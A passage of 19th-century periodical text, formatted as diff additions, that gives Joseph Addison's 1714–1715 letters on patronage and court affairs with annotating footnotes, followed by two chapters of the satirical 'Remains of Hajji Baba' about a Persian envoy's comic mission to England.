+            I take the liberty to send you, enclosed,
+            a poem written on this occasion by one of our most
+            eminent hands, which is indeed a masterpiece in its
+            kind; and, though very short, has touched upon all
+            the topics which are most popular among us. I have
+            likewise transmitted to you, a copy of the preamble to
+            the Prince of Wales's patent, which was a very grateful
+            task imposed upon me by the Lords Justices. Their
+            excellencies have ordered that the lords and others who
+            meet his Majesty, be out of mourning that day, as also
+            their coaches; but all servants, except those of the
+            City magistrates, to be in mourning. The shortness of
+            the time, which would not be sufficient for the making
+            of new liveries, occasioned this last order.
+
+            The removal of the Lord Bolingbroke[74] has
+            put a seasonable check to an interest that was making
+            in many places for members in the next parliament; and
+            was very much relished by the people, who ascribed to
+            him, in a great measure, the decay of trade and public
+            credit.
+
+            You will do me a very great honour if you
+            find means submissive enough to make the humble offers
+            of my duty acceptable to his Majesty. May God Almighty
+            preserve his person, and continue him for many years
+            the blessing of these kingdoms! I am, with great esteem
+            and respect, Sir, your most obedient and most humble
+            servant,
+                                                         J. ADDISON.
+
+[73] Lord Godolphin conferred on Addison, as a reward for his poem
+entitled _The Campaign_, commemorative of the battle of Blenheim, the
+place of Commissioner of Appeals, in the room of the celebrated Locke,
+who had been appointed a Lord of Trade. The year following, he attended
+Lord Halifax to Hanover; and, in the next, was appointed secretary to
+Sir Charles Hedges, and was continued in that office by his successor,
+Charles Spencer, Earl of Sunderland.
+
+[74] Addison was a sound Whig. Bolingbroke records, that, after the
+peace which followed the ever memorable battle of Blenheim, he engaged
+with Addison in a two hours' conversation, and their politics differed
+_toto cælo_ from each other.
+
+
+
+
+                      TO THE SAME.
+
+                                           St. James's, Sept 11.
+            SIR,--Though I am not without hopes of seeing you in
+            England before this letter comes to your hands, I
+            cannot defer returning you my thanks for the honour of
+            yours of the 17th N. S. which I received this morning.
+            I beg leave to send you the enclosed ceremonial for the
+            King's entry, published by the Earl of Suffolk, Deputy
+            Earl Marshal, as regulated by the Lords Justices and
+            privy council.[75] The Attorney-general is preparing a
+            proclamation, reciting the rewards set on the Pretender
+            by the late Queen and Parliament, with the security set
+            for the payment, as established by a clause in an act
+            passed since his Majesty's accession to the throne. As
+            such a proclamation is very requisite; so, perhaps, it
+            may come with a good grace from the Regents before his
+            Majesty's arrival. It will, I believe, be fixed up in
+            all the market-towns, especially among the highlands in
+            Scotland, where there has been some meetings, but, by
+            the care of the Regents, of no consequence.
+
+                [Subscribed in the same words as the preceding.]
+
+
+                     TO THE EARL OF HALIFAX.
+
+                                                 Oct. 17, 1714.
+            MY LORD,--I find by your lordship's
+            discourse that you have your reasons
+            for laying aside the thought of bringing me into a
+            part of Lowndes's place;[76] and, as I hope they do
+            not proceed from any change of goodwill towards me,
+            I do entirely acquiesce in them. I know that one in
+            your lordship's high station has several opportunities
+            of showing favour to your dependants, as one of your
+            generous temper does not want to be reminded of it when
+            any such offer. I must therefore beg your lordship to
+            believe that I think no more of what you were pleased
+            to mention in relation to the Treasury, though the
+            kind and condescending manner in which your lordship
+            was pleased to communicate yourself to me on that
+            subject, shall always raise in me the most constant and
+            unfeigned zeal for your honour and service.
+
+            I fancy, if I had a friend to represent to
+            his Majesty that I was sent abroad by King William,
+            and taken off from all other pursuits in order to be
+            employed in his service[77]--that I had the honour to
+            wait on your lordship to Hanover,--that the post I am
+            now in, is the gift of a particular lord [Sunderland],
+            in whose service I have been employed formerly,--that
+            it is a great fall, in point of honour, from being
+            secretary to the Regents, and that their request
+            to his Majesty still subsists in my favour,--with
+            other intimations that might perhaps be made to my
+            advantage,--I fancy, I say, that his Majestie, upon
+            such a representation, would be inclined to bestow on
+            me some mark of his favour. I protest to your lordship
+            I never gained to the value of five thousand pounds[78]
+            by all the business I have yet been in; and, out of
+            that, very near a fourth part has been laid out in my
+            elections.[79] I should not insist on this subject
+            so long, were it not taken notice of by some of the
+            Lords Justices themselves, as well as many others,
+            that his Majestie has yet done nothing for me, though
+            it was once expected he would have done something more
+            considerable for me than I can at present have the
+            confidence to mention. As I have the honour to write
+            to your lordship, whose favour I have endeavoured to
+            cultivate, and should be very ambitious of deserving,
+            I will humbly propose it to your lordship's thoughts,
+            whether his Majestie might not be inclined, if I was
+            mentioned to him, to put me in the Commission of Trade,
+            or in some honorary post about the Prince, or by some
+            other method to let the world see that I am not wholly
+            disregarded by him. I am ashamed to talk so long of
+            myself; but, if your lordship will excuse me this time,
+            I will never more erre on this side. I shall only
+            beg leave to add, that I mentioned your lordship's
+            kind intentions towards me only to two persons. One
+            of them was Phillips,[80] whom I could not forbear
+            acquainting, in the fulness of my heart, with the
+            kindness you had designed both him and me, which I take
+            notice of because I hope your lordship will have him in
+            your thoughts.
+
+            Though I put by several importunities which
+            are made me to recommend persons and pretensions to
+            your lordship, there are some which I cannot resist,
+            without declaring, what would go very much against
+            me, that I have no credit with your lordship. Of this
+            kind is a request made me yesterday by Lady Irby,
+            that I would mention her to your lordship as one who
+            might be made easy in her fortune if your lordship
+            would be pleased to procure for her the place of a
+            bedchamber-woman to the Princess. I told her that
+            places of that nature were out of your lordship's
+            province; but she tells me, as the proper persons are
+            not yet named to whom she should make her applications,
+            and as my Lord Townsend has gained the same favour for
+            Mrs. Selwyn, she hopes you will excuse her solicitation
+            upon this occasion.
+
+            My Lord Dorchester, from whom I lately
+            conveyed a letter to your lordship, has likewise
+            obliged me to speak in favour of Mr. Young, who marryed
+            a sister of Mr. Chetwynd's, and formerly was a clerk
+            under me in Ireland. He is now a man of estate, of
+            honest principles, and has been very serviceable to
+            Lord Dorchester in the elections at Salisbury.
+
+            I humbly beg leave to congratulate your
+            lordship upon the honours you have lately received; and
+            whenever your lordship will allow me to wait on you,
+            I shall always value the honour of being admitted to
+            your conversation more than any place that can be given
+            me. I am, with the greatest respect, my lord,
+            Your lordship's most devoted and most obedient servant,
+                                                            J. ADDISON.
+
+[75] Budgell has recorded that he attended Lord Halifax and Addison in a
+barge to Greenwich to meet George the First from Hanover. Halifax said
+he expected to have the Treasurer's staff, and to have great influence;
+that he would endeavour to avoid some of the errors of late reigns,
+and make his master a great king, and would recommend Addison to be
+a secretary of state. Addison, as Budgell says, blushed, and thanked
+him for such honourable friendship, but declared that his merits and
+ambition did not carry him to so high a place. Halifax was, however,
+circumvented in all his speculations: Walpole acquired more influence,
+or succeeded by intrigue; and the effects mortified Lord Halifax so
+acutely, that a pulmonary fever was the consequence, and death soon put
+a quietus upon his lordship's unsuccessful struggle for power.
+
+[76] Lowndes was secretary to the Lords of the Treasury.
+
+[77] Congreve first introduced Addison to the notice of lord Halifax
+while being educated at Oxford for the church, when his lordship is said
+to have dedicated Addison to the state, and avowed he would never do
+the church any other harm than in keeping him out of it. The post which
+Addison here alludes to, was that of secretary to Lord Sunderland, who
+was then appointed to the Lord-Lieutenancy of Ireland, but never went
+to Dublin to assume the vice-regal dignity. Addison evidently deemed
+that appointment a degradation, and much inferior to that of being
+secretary to the Lords Regent of the kingdom till the arrival of the
+new King. As to his having been in Lord Sunderland's employ formerly,
+it has reference to his being his lordship's secretary upon the earl's
+succeeding Sir Charles Hedges, as Secretary of State, in 1706.
+
+[78] This assertion seems strange, when it is known that in 1711, long
+prior to his marriage with the Countess of Warwick, Addison had expended
+ten thousand pounds upon the purchase of the Bilton estate, near Rugby,
+in Warwickshire: and Oldmixon, in his History, says, Addison left by his
+will, in 1719, to his daughter and to Lady Warwick, his fortune, which
+was about twelve thousand pounds. His daughter, who resided at Bilton
+till her death, in 1797, enjoyed an income of more than twelve hundred
+pounds per annum.
+
+[79] Addison sat in the two last parliaments of Queen Anne. The Commons'
+Journals record that on a petition against his election for Lestwithiel,
+in 1708, he was found not duly elected; but by Lord Wharton's interest
+at the general election, he was chosen member for Malmesbury: indeed, as
+Swift wrote to Stella, so popular had Addison then become, that "if he
+had stood for the kingship, he would have been chosen."
+
+[80] Ambrose Phillips, "one of the wits at Button's," and Addison's
+constant associate at that resort of the literati. In the latter part
+of Queen Anne's reign, being a Whig, he was secretary to the Hanover
+Club, and was, soon after the accession of George the First, put
+into the commission of the peace; and, in 1717, appointed one of the
+Commissioners of the Lottery. Paul Whitehead relates that when Addison
+became Secretary of State, Phillips applied to him for some preferment,
+but was coolly answered, that it was thought he was already provided
+for, by being made a justice for Westminster. To this observation
+Phillips with some indignation replied, "Though poetry was a trade he
+could not live by, yet he scorned to owe subsistence to another which
+he ought not to live by." Phillips will be long remembered by his
+translation from Racine of the tragedy of the "Distressed Mother." He
+died, struck with palsy, in Hanover-street, Hanover-square, June 18,
+1749.
+
+                                                    Oct. 24, 1714.
+            MY LORD,--Upon my coming home
+            this evening, I found a letter left for
+            me from your lordship which has raised in me a greater
+            satisfaction and sense of gratitude than I am able to
+            express. Nothing can be more acceptable to me than the
+            place which I hope your lordship has procured for me,
+            and particularly because it may put me in a way of
+            improving myself under your lordship's directions. I
+            will not pretend to express my thanks to your lordship
+            upon this occasion, but should be glad to employ my
+            whole life in it.
+                         [Subscribed as before.]
+
+                                                   Nov. 30, 1714.
+            MY LORD,--Finding that I have miscarried
+            in my pretensions to the Board
+            of Trade, I shall not trouble your lordship with the
+            resentments of the unhandsome treatment I have met with
+            from some of our new great men in every circumstance
+            of that affair; but must beg leave to express my
+            gratitude to your lordship for the great favour you
+            have shown me on this occasion, which I shall never
+            forget. Young Craggs[81] told me, about a week ago,
+            that his Majestie, though he did not think fit to
+            gratifie me in this particular, designed to give me a
+            recompense for my service under the Lords Justices, in
+            which case your lordship will probably be consulted.
+            Since I find I am never to rise above the station
+            in which I first entered upon public business, (for
+            I begin to look upon myself like an old serjeant or
+            corporal,) I would willingly turn my secretaryships,
+            in which I have served five different masters, to the
+            best advantage I can; and as your lordship is the
+            only patron I glory in, and have a dependence on,
+            I hope you will honour me with your countenance in
+            this particular. If I am offered less than a thousand
+            pounds, I shall beg leave not to accept it, since it
+            will look more like a clerk's wages than a mark of his
+            Majesty's favour. I verily believe that his Majesty
+            may think I had fees and perquisites belonging to me
+            under the Lords Justices; but, though I was offered a
+            present by the South Sea Company, I never took that,
+            nor anything else, for what I did, as knowing I had
+            no right to it. Were I of another temper, my present
+            place in Ireland[82] might be as profitable to me as
+            some have represented it. I humbly beg your lordship's
+            pardon for the trouble of such a letter, and do assure
+            your lordship that one of the greatest pleasures I
+            shall receive in whatever I get from the government
+            will be its enabling me to promote your honour and
+            interest more effectually. I am informed, Mr. Yard,
+            besides a place and an annual recompense for serving
+            the Lords Justices [of Ireland] under King William,
+            had considerable fees, and was never at the charge of
+            getting himself elected into the House of Commons.
+
+            I beg your lordship will give me leave to
+            add, that I believe I am the first man that ever drew
+            up a Prince of Wales's preamble without so much as a
+            medal for my pains.
+                      [Subscribed as before.]
+
+[81] Young Craggs was the son of a _barber_, who, by his merit, became
+Postmaster-general, and home-agent to the Duke of Marlborough; he was
+one of the first characters of the age, and had distinguished himself
+in the House of Commons. The classical names of Damon and Pythias,
+of Pylades and Orestes, of Nisus and Euryalus, are not oftener found
+conjoined in ancient story than those of Addison and Craggs in the
+real life of modern times. Addison, notwithstanding the discomfiture
+evinced in these letters, succeeded in procuring the appointment of
+a Lord Commissioner at the Board of Trade, which post he held till
+he was made Secretary of State, April 16, 1717. But Addison was then
+fast sinking into a bad habit of body: his great care was how to live,
+and, as Tacitus Gordon, his great admirer, used to relate, was then
+killing himself in drinking the widow Trueby's water, spoken of in the
+"Spectator." Unfit for the drudgery of a political life,--the pack-horse
+of the state,--he pleaded the being incapable of supporting the fatigues
+of his office, and resigned the seals in March 1718, upon a pension from
+the King of seventeen hundred pounds per annum. Craggs, who was his
+successor, died prematurely and unmarried, in his twenty-eighth year, in
+1721.
+
+[82] Queen Anne, to whom Addison had been recommended by the Duchess of
+Marlborough, on his appointment to be Secretary for Ireland, augmented
+the salary annexed to the place of Keeper of the Records in Birmingham
+Tower, to three hundred pounds per annum, and bestowed it on him.
+
+                MY LORD,--Your lordship having
+            given me leave to acquaint you with the names and
+            pretensions of persons who are importunate with me to
+            speak to your lordship in their behalf, I shall make
+            use of that liberty when I believe it may be of use to
+            your lordship, or when I cannot possibly resist the
+            solicitation. I presumed to write to your lordship in
+            favour of Mr. Hungerford, who purchased of me in the
+            commission of Appeals. All I aske is, that he may enjoy
+            the fruits of his purchase: as for his recommending
+            one to his place, I only hinted at it, if his coming
+            into the House might be of service to your lordship. I
+            would not have spoken of Mr. Wroth, had not he assured
+            me that he was first recommended to your lordship by my
+            Lord Cooper.[83] He tells me since, he had the honour
+            to be schoolfellow to your lordship, and I know has a
+            most entire respect for you, and I believe is able to
+            do his friends service.
+
+            The enclosed petition is of one who is
+            brother to a particular friend of mine at Oxford, and
+            brought me a letter in his behalf from Mr. Boscawen.
+            If your lordship would be pleased to refer it to
+            the Commissioners of Customs, it would give me an
+            opportunity of obliging one who may be of service to
+            me, and perhaps be a piece of justice to one who seems
+            to be a man of merit.
+
+            I must beg your lordship's patience for
+            one more, at the request of my Lord and Lady Warwick,
+            especially since I hear your lordship has formerly
+            promised to do something for him. His name is Edward
+            Rich: he is to succeed to the title of the Earl of
+            Warwick should the young lord have no heir of his
+            own.[84] He is in great want, writes an extraordinary
+            good hand, and would be glad of a small place. He
+            mentions in particular a King's tide-waiter. Capt.
+            Addison[85] tells me that he presumed to put your
+            lordship in mind of himself; but, as I hope to provide
+            for him in Ireland, I will not trouble you on his
+            account. I have another namesake, who is well turned
+            for greater business; but if he could have a stamper's
+            place, vacant by the death of one who was formerly my
+            servant, it would be a very great favour. I beg your
+            lordship to pardon this freedom, and I promise to use
+            it very sparingly hereafter.
+
+            When your lordship is at leisure, I
+            should be glad of a moment's audience: in the mean
+            time, I cannot conclude my letter without returning
+            your lordship thanks for all your favours, which have
+            obliged me, as long as I live, to be, in the most
+            particular manner, and with the utmost gratitude and
+            respect, my lord,
+            Your lordship's most devoted and Most obedient servant,
+                                                        J. ADDISON.
+
+[83] William, first Earl Cowper, Lord High Chancellor of England; he
+died Oct. 10, 1723.
+
+[84] Addison, it is said, was first introduced into the Warwick family
+as tutor of the young lord here mentioned. The earl died soon after
+the date of this letter; and Addison, at forty-five, took great pains
+to woo the countess, who is described as being personally fraught with
+half the pride of the nation. They were married in August 1716, though
+not happily; for tradition reports they were seldom in each other's
+company. Lady Mary Wortley Montagu, in a letter to Pope, written from
+the East, after this period, says, "I received the news of Addison's
+being declared Secretary of State with the less surprise, in that I knew
+that post was almost offered to him before. At that time he declined it;
+and I really believe he would have done well to have declined it now.
+Such a post as that, and such a wife as the countess, do not seem to be
+in prudence eligible for a man that is asthmatic; and we may see the day
+when he will be heartily glad to resign them both."
+
+[85] Dean Addison, who died April 20, 1703, left four children: Joseph,
+the writer of these letters; Gulston, here spoken of as Captain Addison,
+who died governor of Fort St. George, in the West Indies; Dorothy, of
+whom Swift, in a letter dated October 25, 1710, says, "I dined to-day
+with Addison and Steele, and a sister of Addison's, who is married to
+Mons. Sartre, a Frenchman, prebendary of Westminster. Addison's sister
+is a sort of wit, very like him: I am not fond of her." She married,
+secondly, Daniel Combes, Esq. Addison bequeathed her in his will five
+hundred pounds, which she lived to enjoy till March 2, 1750. The "other
+namesake" was possibly Addison's other brother, Lancelot, who, Chalmers
+states, was fellow of Magdalen College, Oxford, and an able classical
+scholar.
+
+                                                  April 28, 1715.
+               MY LORD,--I can only acknowledge
+            the receipt of your grace's[86] last
+            letters, without being able to return any satisfactory
+            answer to them, my Lord Lieutenant not being yet well
+            enough recovered to give any directions in publick
+            businesse. He has not found the desired effects from
+            the country air and remedies which he has taken; so
+            that he is at length prevailed upon to go to the Bath,
+            which we hope will set him right, if we may believe
+            the assurances given him by his physicians. Your grace
+            has, doubtlesse, heard many idle reports which have
+            been industriously spread abroad with relation to his
+            distemper, which is nothing else but the cholick,
+            occasioned by a too frequent use of vomits, to which
+            the physicians adde the drinking of small beer in too
+            great quantities when he has found himself a little
+            heated. I hope, before his excellency sets out for the
+            Bath, I shall receive his directions upon your grace's
+            letters, which I shall always execute with the greatest
+            pleasure and dispatch, being with all possible respect,
+            my lord,
+            Your grace's most obedient and Most humble servant,
+                                                         J. ADDISON.
+
+[86] The original of this letter having been forwarded in an envelope,
+and wanting the notation, at foot of the first page, of the name of
+the person to whom addressed, leaves it a conjecture who his grace
+was, whether Ormond or Grafton. Charles Spencer, Earl of Sunderland,
+is the Lord Lieutenant whose illness Addison describes. The earl never
+went to Ireland to assume the vice-regal dignity; and, though this has
+never been satisfactorily accounted for, the real causes were, in all
+probability, his lordship's continued indisposition, and the death
+of Anne, Countess-dowager of Sunderland, his mother. Charles Duke of
+Grafton, and Henry Earl of Galway, were appointed Lords Justices of
+Ireland, Nov. 1, 1715.
+
+
+
+
+                   REMAINS OF HAJJI BABA.
+
+                        CHAPTER III.
+
+I made my preparations with all haste. In addition to my own servant,
+Sadek, who had been one of our suite in our former mission, I hired two
+others; one to take care of my horses, and another to spread my carpet.
+A mule for my baggage, a good horse for my own riding, and two yaboos
+for my servants, were soon procured; and, straightway, whip in hand, and
+with boots on my feet, I announced myself ready for departure.
+
+When I appeared before the grand vizier, he said, "_Mashallah!_ By the
+beard of the king, thou art a good servant; the kingdom of the Francs,
+however, is not falling quite so rapidly that we cannot wait for a
+fortunate hour for your departure."
+
+I had entirely resigned myself to fate, and therefore said, "Whatever
+the Shah commands, I am ready to obey." Taking advantage of the
+presence of many persons who were come to attend the vizier's levee;
+and perhaps as much to exhibit my own consequence as to ask a question
+of importance, I stept forward, and, kneeling before him, applied my
+mouth to his ear, and said, "Your slave was anxious to have one question
+answered, before he went, which is this:--suppose, before he got to
+England, its king were really deposed, and the new king, the People
+Shah, had mounted on the throne, what is your slave to do?"
+
+At this the vizier paused, and, reflecting a while, said, "You will then
+live in a corner, and write to us for instructions; but do not lose any
+opportunity of making good hits in penknives, broad-cloth, and virgins."
+
+Having waited his pleasure for some time, he then announced that he
+would take me before the Shah; and accordingly we proceeded thither, he
+taking the lead, whilst I followed at a respectable distance.
+
+The king was in a good humour; in other words, his brain was sane, and
+his spirits well wound up. "By the head of the Shah!" he exclaimed, as
+soon as he saw me equipped for the journey, "the Hajji is a wonderful
+man; he makes as little of going from here to Frangistan, as we do of
+going from the imperial gate to the Takht Kajar."
+
+Upon this the grand vizier said, "As I am your sacrifice, we are all
+your slaves, we are all your servants, we are all ready to go to
+Frangistan."
+
+"That is well," said the Shah. "Is every thing prepared for the Hajji?"
+
+"As I am your sacrifice, yes;" answered the minister. Upon which he drew
+from his girdle a roll of paper, which contained the instructions I was
+to receive as the rule of my conduct, and the several official letters
+which I was to deliver upon my arrival in England.
+
+They were exhibited; and, the proper seals having been placed in the
+royal presence, they were sent to the head mastofi, or secretary, to be
+directed, and inserted in their silken bags.
+
+When this was over, the king sent for a _calaat_, or dress of honour,
+with which I was soon after invested; and then he announced to me with
+his own sacred lips, (an event which in my younger days I had so much
+desired,) that, if on my return I should have fulfilled my mission to
+the Shah's satisfaction, the title of khan would be conferred upon me,
+with an appropriate dress of honour.
+
+This piece of intelligence, some ten years ago, would have made my
+head touch the skies, but now it fell upon the surface of my mind as
+lead upon cotton; for it promised rather more of trouble than of that
+questionable sensation called honour, which I had long learnt to despise.
+
+I went to the _Der a Khoneh_, or the King's Gate, to take leave of my
+friends, and there I received the papers relating to my mission. I was
+instructed to offer no presents, but to receive as many for the Shah
+as might be given; although, in the destitute situation in which we
+supposed England was, we agreed that we could not expect many. The chief
+treasurer then gave me a bag of _tomans_, few in number, and which, I
+was aware, were insufficient to defray my expenses there and back; yet,
+rather than run the chance of having my ears clipped by asking for more,
+I chose to trust to my own ingenuity, and to the knowledge of _chum wa
+hum_, or palaver, which I possessed, to make up the deficiencies. In
+short, I determined to travel at everybody's cost rather than my own.
+
+At night I went to kiss the hem of the grand vizier's garment, and to
+receive his last orders before my departure. He said nothing besides
+recommending me to the care of the Prophet, and requesting me to send
+him some silk spangled stuffs for the trousers of his harem when I
+reached Constantinople. I then received the embrace of my old master,
+the Mirza Firooz, who furnished me with letters to his old friends in
+England; and with these consolations I went home, rolled up my carpets,
+ordered my mule to be loaded, and my horses to be saddled; and, when all
+was ready, I locked the door of my house, and, putting the key in my
+pocket, I set off for the country of the Francs.
+
+I reached Erzeroom without any difficulty, having become a gainer,
+rather than a loser, by my journey, owing to the presents which
+I extracted from the villages on the road, who made them out of
+consideration to the character of _elchi_, or ambassador, which I did
+not fail to assume. Having got to this city, I determined to repose for
+a few days; and, in order to refresh my memory upon the object of my
+mission, I passed my time in reading over the instructions with which I
+had been furnished.
+
+Perhaps my readers may be glad to know their contents.
+
+They were as follows:
+
+"_Instructions to the high in station, the Mirza Hajji Baba._
+
+"That since, by the blessing of Allah, it has come to the knowledge of
+the asylum of the universe, the king of kings, that the good fortune
+which accompanied the infidels of England has turned upon them, it has
+appeared good to appoint some master of wit, some lord of understanding
+and experience, to go, and see, and consider, and to endeavour to
+extract advantage from misery, wealth from poverty, and instruction from
+wickedness: to that effect, the high in station, Hajji Baba, famous for
+his skill in Franc wisdom and language, the lord of accomplishment, the
+skilled in cunning and intelligence, has been appointed to this service.
+
+"That as in every country good men are to be found among whole
+communities of bad, even as roses are seen to grow among thorns and
+thistles, the Hajji will, with that eye of discernment for which he is
+famous, discover such men among the infidels, and learn from them the
+why and the wherefore, the how and the when, and the truth, if such is
+to be found, of all that has taken place; beginning with the beginning,
+and going on to the present time; and marking the same in a book to be
+placed before the all-refulgent presence of the shadow of God upon earth.
+
+"That, as it is strictly enjoined in our blessed Koran, written by
+the inspired Prophet, upon whom be blessings and peace! that true
+believers do inflict all the harm in their power upon infidels, even
+unto death, the Hajji is enjoined to take every advantage in his power
+of their distress; taking their goods at the smallest value; enticing
+their choice workmen into the land of Iran; holding out premiums of
+calaats, and the protection of the Shah to their wise men; and making it
+clear to them that it is better to make the confession of faith in the
+religion of Islam, than to persist in their own unclean belief; holding
+out promises of protection and advancement to those who, of their own
+free will, will shave their heads, let their beards grow, receive the
+proper marks, and say, "_Laallah, illalah, Mohamed resoul Allah!_" and
+assurances of toleration to those who through obstinacy and infatuation
+still eat the unclean beast, drink wine, and call Isau the only true
+prophet.
+
+"That, upon arriving at the gate of the palace in London, he will
+proceed to the presence of the king, brother to the ancient friend
+and ally of Persia, if king he still be; and, after having delivered
+the all-auspicious letter with which he is charged, he will lift up
+his voice and say, 'O king, the asylum of the universe, whose slave I
+am, has sent me to thee in thy distress, to offer thee a seat at his
+gate, bread to eat, and the free usages of thy own country.' The Hajji
+will then use his own discretion, and his own tongue, according as
+circumstances may direct his wisdom, to console the Franc king in his
+distress, to point out to him the manner in which he will be received,
+and to hold out the prospect of commanding the Shah's ship in the
+Caspian Sea.
+
+"That, having seen the king, he will repair to the famous Franc general,
+celebrated for having discomfited the great French conqueror, well
+known in Iran, and point out to him the advantages of serving the Shah,
+instead of sitting in a corner under a new king of his own people;
+and further, that he will place before him the certainty of his being
+appointed to command the Persian armies, who will not fail to take both
+Moscow and Petersburg, to burn the fathers of the Russians, and thus
+to entitle himself to such share of the pillage as the Shah in his
+greatness will allow him.
+
+"Having secured these advantages, the Hajji will then cast his eyes
+about the country, and do his best endeavours to procure for the harem
+of the Shah three choice virgins, whose beauty must surpass everything
+that has been seen in Iran, with figures like poplar-trees, waists a
+span round, eyes like those of the antelope, faces round as the moon,
+hair to the swell of the leg, throats so fine that the wine may be seen
+in its passage through them, teeth like pearls, and breath like the
+gales wafted from the caravans of musk from Khatai. They are required
+to be mistresses of every accomplishment; to sing so loud and so long
+that they may be heard from the Ark to the Negaristan; to dance every
+dance, standing on their heads, and running on their hands. They must
+embroider, sew, and spin; they must know how to make _halwa_, or
+sweetmeats; how to light a _kalioon_, or pipe, and to play the _jerid
+bazi_ on horseback. In short, they must unite all the accomplishments of
+Fars to the sagacity of Francs; and should they please the Shah, only
+for one hour, they will have the satisfaction of having made the Hajji's
+face white for ever.
+
+"The Shah, in his wisdom, trusting to the misery which is now known to
+assail the English nation, enjoins the Hajji, as he would gain the royal
+favour, and gain a great name in Iran, ever to keep a watchful eye upon
+penknives, broad-cloth, chandeliers, and looking-glasses. He will make
+as large a collection as possible for the use of the Shah,--for nothing
+if he can: for little if he cannot for nothing. He will also accumulate
+every other desirable thing fitted for the use of the king, which may
+come within his grasp.
+
+"In short, he will recollect that such another opportunity of acquiring
+advantages to his king and country as the breaking up of a large nation
+and government, will never perhaps again be afforded; and with this
+truth in his mind, that with one grain of wisdom frequently more is to
+be achieved than with the strength of armies, he will employ all his
+best wit to turn that head to account which Allah in his mercy has given
+to him, and which luck and the blessed Prophet has given to the asylum
+of the universe to employ."
+
+When I had read over my instructions, I laid the head of confusion upon
+the pillow of repose, and sought in vain to relieve myself from the
+various strange images which they had brought into my brain. I feared
+that it would be impossible to bring the arduous business with which I
+was intrusted to a happy conclusion, and secure for myself a white face
+at the end of it, so difficult did it appear. However, the certainty
+that _Allah kerim est_, or God is merciful, came to my help: and with
+this soothing feeling, I quieted my apprehensions, and continued my road
+to Constantinople, fully persuaded that, be the true believer among
+Jews, Francs, or Muscovites, his only true help is in _Allah_.
+
+
+                         CHAPTER IV.
+
+I reached Constantinople, and immediately inquired for the house of
+a Franc whom I had known in former days: an Englishman, who might
+enlighten my understanding concerning the objects of my mission, and
+might inform me what might be the state of his country. He was a
+sensible man,--a man done to a turn, who knew the difference between
+justice and injustice, and whose words were not thrown into the air
+without use. He frankly confirmed to me the truth of everything we had
+heard reported at the gate of the asylum of the universe. I found him
+seated on bales of merchandise in his warehouse, looking as if the world
+had placed his heels where his head ought to be, and desponding over
+his future prospects. Whatever I said to him upon the unreasonableness
+of attempting to strive against the decrees of Providence was of no
+avail. Instead of sitting down satisfied with his _takdeer_, or fate,
+as I should have done, I found him poring over a large sheet of Franc
+paper, printed, and therefore true, which he had just received from his
+own land, and cursing in his teeth one of his household demons, as I
+thought, which he called "_Dowlet_." He said that he verily believed
+the father of madness had taken possession of his once flourishing
+country; for what was always looked upon as right, was now called
+wrong, and what used to be execrated as wrong was now adopted as right.
+And, moreover, he asserted that the infatuation had gone so far, that
+nobody seemed inclined to eat his figs, no one would buy his cotton:
+there was an universal cry upon the miseries entailed by silk, and
+more gloves now existed in the world than there were hands to wear
+them. If such were the miseries of silk, thought I,--a produce which
+comes from abroad,--what must be those of penknives which grow in
+the country? I kept my thoughts to myself, and determined to set off
+without delay to put my orders into execution. There was one thing I
+was glad to ascertain in the interview with my friend, which was, that
+I had not so entirely forgotten his language as I had feared, and that
+I understood much of what he said. When I saw that large printed sheet
+of paper, numerous were the recollections it gave rise to, and I was
+struck with apprehension lest my thoughts, words, actions, even to the
+dye of my beard, would be carefully registered therein day by day,
+the moment I set my foot on English ground, if I did not take great
+precautions against such an evil. I therefore determined to keep myself
+as much unknown as possible; and, to that effect, resolved to leave
+Constantinople without seeing the ambassador of the King of England, who
+was residing there; and to make my way to the foot of his king's throne
+with all the best haste I could.
+
+In consequence of what I had heard from the Franc merchant, and from all
+I had seen with my own eyes, I collected all my certainty into a heap,
+and became quite satisfied that the madness for which all Francs are
+celebrated, and particularly the English, was now beginning to be fully
+developed, and, strange to say, that the Turks, a nation so unchanged
+since the days of Seljuk, so fixed in _destour_, or custom, tied down
+by ancient habit,--the Turks themselves were no longer the same; the
+English disorder, Reform, had crept in amongst them, and had committed
+woful ravages. The Sultan himself took the lead; and it was now a
+question solemnly discussed among the elders and ulemah, whether heaven
+had come down to earth amongst them, or whether earth had descended into
+hell. Some asserted one thing, some another. Those who were for heaven
+said, "Thank Allah, our souls are now becoming as free as our chins.
+Where are now those odious beards that used to wave about the ends of
+our faces like long grass on the mountain top; that took toll of every
+mouthful of food that went into our mouths; that required more washing
+and dyeing than a Franc's shirt; and that gave a handle to our enemies
+without being of use to ourselves--where are they? Swept for ever from
+the faces of the sons of Islam, and swimming through the currents of
+the Bosphorus and the Dardanelles. And where are now those great, those
+awful, those capacious breeches, that could include within their folds
+as many legs as would serve a whole company of soldiers, instead of
+one pair of legs, which were eternally playing at hide-and-seek among
+their immense involutions? They are gone for ever. The saving to the
+Bab Homaioon--the gate of splendour--and to the treasury of the great
+blood-drinker, in broad-cloth alone, will be worth ten thousand fighting
+men per annum, let alone the inconvenience to the individuals. And
+because we change the fashion of our clothes, does it follow that we
+change that of our faith, as our enemies would have us to do? No. We can
+kneel down on our praying-carpets as often and as easily in our tights,
+as we before did in our slacks. And although smooth chins may be common
+to unbelievers, yet it is certain that the paradise of Mahomet is as
+open to the shaved as it is to the hairy."
+
+On the other hand, those who were of the Jehanum faction insisted that
+the whole dignity and consequence of the Turkish empire had been
+sacrificed with the beards of its subjects; that, from looking a nation
+of sages, they had been turned into a nation of monkeys; and that
+although the rage of innovation had hitherto only seized the capital,
+yet, so it was once argued, when once it was known in the provinces that
+its emperor, the vicegerent of Allah upon earth, had cut off his beard,
+it was likely that the whole of the population would do so likewise, and
+thus universal degradation would ensue.
+
+Then, as for the tight trousers which had been introduced, what lover
+of decency would now venture to show his person in the nakedness of
+unprotected legs, like the unblushing Francs? People might revile the
+janissaries; but, at all events, they were decently clad men, wearing as
+much cloth and muslin about their dress as would clothe a whole orta of
+the poor starving-looking individuals of the new nizam. It might be very
+well to say, that the faith of the heart did not change with the cut
+of one's clothes; but it was plain that when once reform began, it was
+impossible to say where it might stop; and true Mussulmans might perhaps
+soon have to deplore its terrible effects, by seeing their wives walk
+about without veils, with their faces exposed to the gaze of man. The
+unclean beast would ere long be eaten with impunity from one end of the
+celestial empire to the other; whilst all the holy Prophet's injunctions
+against wine would be entirely set at nought;--all to follow the example
+of unclean, faithless, and corrupt Francs, upon whom be all curses
+poured!
+
+Such were the subjects which I daily heard discussed among the Turks,
+and every word which entered into my ears, only confirmed the reports
+which had reached my own country. I therefore consulted with my friend
+the Franc merchant upon the easiest mode of getting to England, quickest
